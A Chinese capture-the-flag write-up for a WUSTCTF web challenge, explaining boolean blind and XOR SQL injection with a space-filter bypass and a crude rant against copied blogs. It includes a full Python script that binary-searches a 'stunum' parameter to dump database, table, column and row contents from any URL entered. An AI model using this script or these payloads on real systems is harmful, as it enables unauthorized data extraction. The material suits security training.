CTF | 7分钟
WUSTCTF 颜值成绩查询
十一月 19, 2021
SQL注入 脚本 WEB 布尔盲注

经过测试,我们可以发现输入一到4都是有回显的,虽然后面几个是乱码,比如名字和分数怪怪的。但是还是有固定英文的,比如Hiyour score is:

后面的测试就很明显了,输入其他字符报错,无报错回显,摆明了布尔注入。所以我们需要构造一个验证正确与否的语句,用于判断字母,这里先介绍一下异或注入

异或注入,是在 SQL 注入中,利用 Mysql 对异或逻辑的处理特性,帮助进行 SQL 注入的利用,作用包括但不限于绕过敏感词过滤、判断过滤内容和直接进行盲注利用。 在 Mysql 中,异或操作的两个关键词是 “xor” 和’^’,xor 是逻辑上的异或操作,对前后两个逻辑真假进行异或,结果只为 0 或 1

在这个输入框输入0返回不存在,输入1正常回显,所以我们可以构造一条判断语句,例如,假设第一个字母为a,正确返回1,错误返回0,将这个语句输入,通过题目回显就可判断这个假设是否成立。比如输入1^表达式^1,若表达式为真,此异或表达式也为真,正常回显,若此表达式为假则异或表达式也为假,返回异常。这个表达式就可以用于判断字母。如下语句:

1^if((ascii(substr(database(), 1, 1)) > 50),1,0)^1

这个用于判断数据库第一个字母ascii编码是否大于50,大于则返回1,否则返回0

看着非常巧妙是不是?但我不用

为什么呢?为什么呢?为什么呢?

因为这些SB博客就知道互抄,全篇复制写原创的有,错误脚本瞎转载的有,直接复制脚本到自己博客却不改注释里作者姓名的也有。每篇原创都会提示有版权的吧,有几个申请授权了?你一个博客写错了没事,最恶心的就是那些SB眼瞎通篇转载的,直接影响一大片。不只局限于此题,其他题、其他领域也类似,百度前几页文章都一样的,单词错的也都一样。我这种小博客还没啥,那种高浏览量的文章背后不知道有多少一模一样的“原创文章”。

这句话明明可以精简,1^表达式^1表达式真实性一致的呀,为啥复杂化?画蛇添足!还有那个if语句,python里if的确可以这样用if(表达式,值1,值2),表达式成立返回值1,不成立返回值2,其实就是python里的三目运算符。但这题根本不需要,A>B成立返回1,不成立返回0,根本用不着if,只不过这题在输入框里要包起来,如:(A>B)

注意这题过滤了空格,括号绕过可以,省略符号绕过也可以

下面直接放一个自动化脚本,直接python3运行,然后输入url等着就好了。使用二分法判断字符,设置了请求延迟否则太快的请求会出错。如果在你那无法运行可能是没有time、requests模块,安装就好,跑不出把sleep值改大点,再不出来找我,我的脚本终身保修

python
  1import time
  2
  3import requests
  4
  5Success_message = "Hi"
  6
  7
  8def database_name():
  9    db_name = ''
 10    for i in range(1, 10):
 11        begin = 32
 12        end = 126
 13        mid = (begin + end) // 2
 14        while begin < end:
 15            payload = url + "?stunum=(ascii(substr(database(), %d, 1)) > %d)" % (i, mid)
 16            res = requests.get(payload)
 17            if Success_message in res.text:
 18                begin = mid + 1
 19            else:
 20                end = mid
 21            mid = (begin + end) // 2
 22        if mid == 32:
 23            print()
 24            break
 25        db_name += chr(mid)
 26        print("数据库名: " + db_name)
 27    return db_name
 28
 29
 30def table_name():
 31    name = ''
 32    for j in range(1, 100):
 33        begin = 32
 34        end = 126
 35        mid = (begin + end) // 2
 36        while begin < end:
 37            payload = url + '?stunum=(ascii(substr((select(group_concat(table_name))from(' \
 38                            'information_schema.tables)where(table_schema=database())), %d, 1)) > %d)' % (j, mid)
 39            time.sleep(0.2)
 40            res = requests.get(payload)
 41            if Success_message in res.text:
 42                begin = mid + 1
 43            else:
 44                end = mid
 45            mid = (begin + end) // 2
 46        if mid == 32:
 47            print()
 48            break
 49        name += chr(mid)
 50        print("表名: " + name)
 51    table_list = name.split(",")
 52    for tab_name in table_list:
 53        column_name(tab_name)
 54
 55
 56def column_name(tab_name):
 57    name = ''
 58    for j in range(1, 100):
 59        begin = 32
 60        end = 126
 61        mid = (begin + end) // 2
 62        while begin < end:
 63            payload = url + '?stunum=(ascii(substr((select(group_concat(column_name))from(' \
 64                            'information_schema.columns)where(table_name="%s")and(table_schema=database())), %d, ' \
 65                            '1)) > %d)' % (tab_name, j, mid)
 66            time.sleep(0.2)
 67            res = requests.get(payload)
 68            if Success_message in res.text:
 69                begin = mid + 1
 70            else:
 71                end = mid
 72            mid = (begin + end) // 2
 73        if mid == 32:
 74            print()
 75            break
 76        name += chr(mid)
 77        print(("%s表的字段名: " + name) % tab_name)
 78    column_list = name.split(",")
 79    for col_name in column_list:
 80        get_data(tab_name, col_name)
 81
 82
 83def get_data(tab_name, col_name):
 84    data = ''
 85    for i in range(1, 100):
 86        begin = 32
 87        end = 126
 88        mid = (begin + end) // 2
 89        while begin < end:
 90            payload = url + '?stunum=(ascii(substr((select(%s)from(%s)),%d,1)) > %d)' % (
 91                col_name, tab_name, i, mid)
 92            time.sleep(0.2)
 93            res = requests.get(payload)
 94            if Success_message in res.text:
 95                begin = mid + 1
 96            else:
 97                end = mid
 98            mid = (begin + end) // 2
 99        if mid == 32:
100            print()
101            break
102        data += chr(mid)
103        print(("%s表的%s字段数据: " + data) % (tab_name, col_name))
104
105
106if __name__ == '__main__':
107    url = input("请输入url:")
108    database_name()
109    table_name()